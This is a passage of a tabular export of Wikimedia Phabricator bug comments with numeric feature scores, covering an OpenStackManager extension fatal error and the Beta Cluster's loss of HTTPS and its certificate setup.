off.",,,1461545614,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-glki7nmhveobibcwb6j4,task_subcomment,,True,c3,3,True,,,42,True,2.0,2.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,2.0,5.0,0.0,15.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,7.0,2.0,0.0,2.0,0.0,0.0,3.581818181818182,0.8363636363636363,"It's a practically abandoned extension, with a *ton* more tech debt than is mentioned here (there's a lot of error suppression in there). I don't really think we'll put any effort into anything that isn't just a way to help us migrate off."
650696,Fatal error: Call to undefined method GoogleLoginAuth::connect() in nova/OpenStackNovaLdapConnection.php on line 21,"Seems to fail earlier now:
```
16:26:31 Fatal error: Class undefined: LdapAuthenticationPlugin in /mnt/jenkins-workspace/workspace/mediawiki-extensions-hhvm/src/extensions/OpenStackManager/OpenStackManager.php on line 69
```
https://integration.wikimedia.org/ci/job/mediawiki-extensions-hhvm/59878/console",,,1461515435,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-glki7nmhveobibcwb6j4,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.5,0.7142857142857143,"Seems to fail earlier now:
``CODE``
URL"
650692,Fatal error: Call to undefined method GoogleLoginAuth::connect() in nova/OpenStackNovaLdapConnection.php on line 21,I see little chances that this self-fixed itself and making our code hard to test is not nice.,,,1461515031,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-glki7nmhveobibcwb6j4,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,3.6666666666666665,1.0,I see little chances that this self-fixed itself and making our code hard to test is not nice.
650610,Fatal error: Call to undefined method GoogleLoginAuth::connect() in nova/OpenStackNovaLdapConnection.php on line 21,"Since this is about 2y old and no information / actions have been performed since, am closing this. Re-open if this is still a problem.",,,1461500029,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-glki7nmhveobibcwb6j4,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,7.0,10.0,3.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.7,0.8666666666666667,"Since this is about 2y old and no information / actions have been performed since, am closing this. Re-open if this is still a problem."
70387,Beta Cluster no longer listens for HTTPS,"https://en.wikipedia.beta.wmflabs.org/ no longer responds at all. 

While we have never had a valid cert for beta, we did in the past answer HTTPS URLS, forcing the user to proceed manually over a security warning.  As of sometime fairly recently, we no longer listen on HTTPS at all.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=48501
https://bugzilla.wikimedia.org/show_bug.cgi?id=63538",Low,25.0,1406050560,1457835432.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_description,duplicate,True,c3,1,False,False,False,-50,True,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,12.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,3.4823529411764707,0.611764705882353,"URL no longer responds at all. 

While we have never had a valid cert for beta, we did in the past answer HTTPS URLS, forcing the user to proceed manually over a security warning.  As of sometime fairly recently, we no longer listen on HTTPS at all.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
549058,Beta Cluster no longer listens for HTTPS,"Using a real trusted certificate is covered in T50501, T75919 and T97593.",,,1445355579,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,29.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,4.428571428571429,1.0,"Using a real trusted certificate is covered in T50501, T75919 and T97593."
549056,Beta Cluster no longer listens for HTTPS,"Change 247587 had a related patch set uploaded (by Alex Monk):
Change star.wmflabs.org to beta certificate

[[https://gerrit.wikimedia.org/r/247587]]
",,,1445355489,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.1923076923076925,0.8461538461538461,"Change 247587 had a related patch set uploaded (by Alex Monk):
Change star.wmflabs.org to beta certificate

[[GERRIT_URL]]
"
548986,Beta Cluster no longer listens for HTTPS,"I made a certificate for beta on deployment-puppetmaster and replaced the star.wmflabs.org cert with it there (also had a mess around with some other settings to get it to work), then went and changed all the cache instances so they could get the new cert, start nginx and get puppet working again. We probably want to separate that cert from star.wmflabs.org so we can get the patch into the operations/puppet repository.",,,1445350446,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,3,True,,,15,True,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,15.0,0.0,4.0,0.0,0.0,0.0,6.0,2.0,0.0,1.0,2.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,4.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,15.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,4.345679012345679,0.7407407407407407,"I made a certificate for beta on deployment-puppetmaster and replaced the star.wmflabs.org cert with it there (also had a mess around with some other settings to get it to work), then went and changed all the cache instances so they could get the new cert, start nginx and get puppet working again. We probably want to separate that cert from star.wmflabs.org so we can get the patch into the operations/puppet repository."
468655,Beta Cluster no longer listens for HTTPS,">>! In T70387#1335629, @Dzahn wrote:
> 14:21 < kaldari> mutante, Coren: The network doesn't matter, but the browser does. In Firefox http://en.wikipedia.beta.wmflabs.org/wiki/Main_Page tries to redirect to  the https site and fails. In Safari http://en.wikipedia.beta.wmflabs.org/wiki/Main_Page loads fine, but   https://en.wikipedia.beta.wmflabs.org/wiki/Main_Page fails. I don't have any special Firefox extensions

This happens when there is a cookie on the client asking for https only wiki access. I don't remember the name of the cookie but I do remember that it is obvious when you look at the active cookie list. I've never figured out exactly what causes the cookie to be set in the first place.",,,1433368491,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,2.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,2.0,5.0,0.0,8.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,17.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,9.0,5.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,3.753846153846154,0.7384615384615385,"QUOTE
QUOTE

This happens when there is a cookie on the client asking for https only wiki access. I don't remember the name of the cookie but I do remember that it is obvious when you look at the active cookie list. I've never figured out exactly what causes the cookie to be set in the first place."
468641,Beta Cluster no longer listens for HTTPS,"14:21 < kaldari> mutante, Coren: The network doesn't matter, but the browser does. In Firefox http://en.wikipedia.beta.wmflabs.org/wiki/Main_Page tries to redirect to  the https site and fails. In Safari http://en.wikipedia.beta.wmflabs.org/wiki/Main_Page loads fine, but   https://en.wikipedia.beta.wmflabs.org/wiki/Main_Page fails. I don't have any special Firefox extensions

",,,1433367195,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-5,True,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,21.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,8.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.6792452830188678,0.7358490566037735,"14:21 < kaldari> mutante, Coren: The network doesn't matter, but the browser does. In Firefox URL tries to redirect to  the https site and fails. In Safari URL loads fine, but   URL fails. I don't have any special Firefox extensions

"
445854,Beta Cluster no longer listens for HTTPS,"@robh: I apologize for the snark. Perhaps a bit of an over-reaction to the age and severity of the bug - it had been sitting for over 7 months, had the operations tag, and I don't think I was aware of the existence of blocked-on-* tags at the time I made the comment.",,,1429401950,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-11,True,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,3.0,9.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.453125,0.6875,"SCREEN_NAME: I apologize for the snark. Perhaps a bit of an over-reaction to the age and severity of the bug - it had been sitting for over 7 months, had the operations tag, and I don't think I was aware of the existence of blocked-on-* tags at the time I made the comment."
445534,Beta Cluster no longer listens for HTTPS,duplicate of T50501 ?,,,1429298475,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,duplicate of T50501 ?
445531,Beta Cluster no longer listens for HTTPS,"I also think suggesting that ops isn't willing to help is both counter-productive, and incorrect.  I was pinged on this today by someone not even on the task, and this doesn't have the #blocked-on-operations tag.",,,1429298321,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-11,True,0.0,2.0,0.0,2.0,6.0,10.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,10.0,12.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,4.0,2.0,4.0,10.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.63265306122449,0.7551020408163265,"I also think suggesting that ops isn't willing to help is both counter-productive, and incorrect.  I was pinged on this today by someone not even on the task, and this doesn't have the #blocked-on-operations tag."
445528,Beta Cluster no longer listens for HTTPS,"Shouldn't the option of :

 a) Have an Opsen populate /etc/ssl/private/star.wmflabs.org.key on all of the frontend boxes for beta [0]. This private key must match the public key in operations/puppet [1].

Actually be: Create a key for this and place in puppet, and have said key be what you want us to populate the key with manually.  We dont like manual processes on cluster, right?

Edit addition: If this is a file that needs to exist on these systems, even post-reinstallation, then it needs to be puppetized accordingly.",,,1429298246,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-11,True,0.5,0.0,0.0,1.0,0.5,3.5,1.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,5.0,9.5,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,12.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,3.0,5.5,1.0,1.5,7.5,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,3.5,9.5,1.5,1.0,0.0,0.0,3.5,0.0,1.5,2.0,1.0,0.0,0.0,0.0,1.5,3.675,0.7833333333333333,"Shouldn't the option of :

 a) Have an Opsen populate /etc/ssl/private/star.wmflabs.org.key on all of the frontend boxes for beta [0]. This private key must match the public key in operations/puppet [1].

Actually be: Create a key for this and place in puppet, and have said key be what you want us to populate the key with manually.  We dont like manual processes on cluster, right?

Edit addition: If this is a file that needs to exist on these systems, even post-reinstallation, then it needs to be puppetized accordingly."
445527,Beta Cluster no longer listens for HTTPS,"Shouldn't the option of :

 a) Have an Opsen populate /etc/ssl/private/star.wmflabs.org.key on all of the frontend boxes for beta [0]. This private key must match the public key in operations/puppet [1].

Actually be: Create a key for this and place in puppet, and have said key be what you want us to populate the key with manually.  We dont like manual processes on cluster, right?",,,1429298156,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-11,True,1.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,8.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,3.0,11.0,1.0,1.0,0.0,0.0,3.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,3.0,3.566666666666667,0.7111111111111111,"Shouldn't the option of :

 a) Have an Opsen populate /etc/ssl/private/star.wmflabs.org.key on all of the frontend boxes for beta [0]. This private key must match the public key in operations/puppet [1].

Actually be: Create a key for this and place in puppet, and have said key be what you want us to populate the key with manually.  We dont like manual processes on cluster, right?"
419949,Beta Cluster no longer listens for HTTPS,"That sounds about right, as long as we can deal with the browser test fallout (making sure the browser tests have those certs in place so they don't get the stupid warning).

See also: https://phabricator.wikimedia.org/T50501#527951",,,1425398549,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.6904761904761907,0.9047619047619048,"That sounds about right, as long as we can deal with the browser test fallout (making sure the browser tests have those certs in place so they don't get the stupid warning).

See also: URL"
419872,Beta Cluster no longer listens for HTTPS,The certificate file is there but it's zero bytes. This is causing puppet failures in beta. We really should do something about it.  If ops is unwilling to help then we should create a new self-signed cert.,,,1425388832,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-18,True,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,9.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,9.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7777777777777777,0.8444444444444444,The certificate file is there but it's zero bytes. This is causing puppet failures in beta. We really should do something about it.  If ops is unwilling to help then we should create a new self-signed cert.
318627,Beta Cluster no longer listens for HTTPS,*** Bug 73680 has been marked as a duplicate of this bug. ***,,,1416528949,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 73680 has been marked as a duplicate of this bug. ***
318622,Beta Cluster no longer listens for HTTPS,"I'm pretty sure it has not/never worked the last month, b/c occasionally I still hit a old https-beta link from my history, which was never working after migration.

This bug would be a duplicate of bug 63538, if this wouldn't have been marked as ""resolved fixed"" because ""there is no need to have two bugs to track the issue""...",,,1406934038,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,1.0,3.0,4.0,1.0,1.0,0.0,1.0,1.0,3.0,0.0,0.0,1.0,4.0,0.0,9.0,10.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,4.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,5.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,3.5324675324675323,0.8181818181818182,"I'm pretty sure it has not/never worked the last month, b/c occasionally I still hit a old https-beta link from my history, which was never working after migration.

This bug would be a duplicate of bug 63538, if this wouldn't have been marked as ""resolved fixed"" because ""there is no need to have two bugs to track the issue""..."
318618,Beta Cluster no longer listens for HTTPS,Zelko had this issue also.,,,1406218504,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Zelko had this issue also.
318614,Beta Cluster no longer listens for HTTPS,"Especially given that Fabrice reports it only broke for him yesterday, I'm pretty sure this had been working until pretty recently.",,,1406066869,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,21.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.625,0.9583333333333334,"Especially given that Fabrice reports it only broke for him yesterday, I'm pretty sure this had been working until pretty recently."
318608,Beta Cluster no longer listens for HTTPS,"(In reply to Bryan Davis from comment #4)
> This has been broken as long as we have been in eqiad as far as I know.

FWIW I'm about 90% sure that https to beta labs worked in eqiad.  My browser autocompletion URLs for Flow pages on beta were all https and I had a forceHTTPS cookie for beta labs, and as I recall it worked fine until 2-3 weeks ago.  I had to manually remove the cookie in order to login and now I'm OK.",,,1406059662,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,False,,,-50,True,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,7.0,0.0,6.0,16.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,1.0,16.0,1.0,4.0,4.0,0.0,0.0,0.0,1.0,2.0,0.0,6.0,0.0,8.0,16.0,5.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.3529411764705883,0.7411764705882353,"(In reply to Bryan Davis from comment #4)
QUOTE

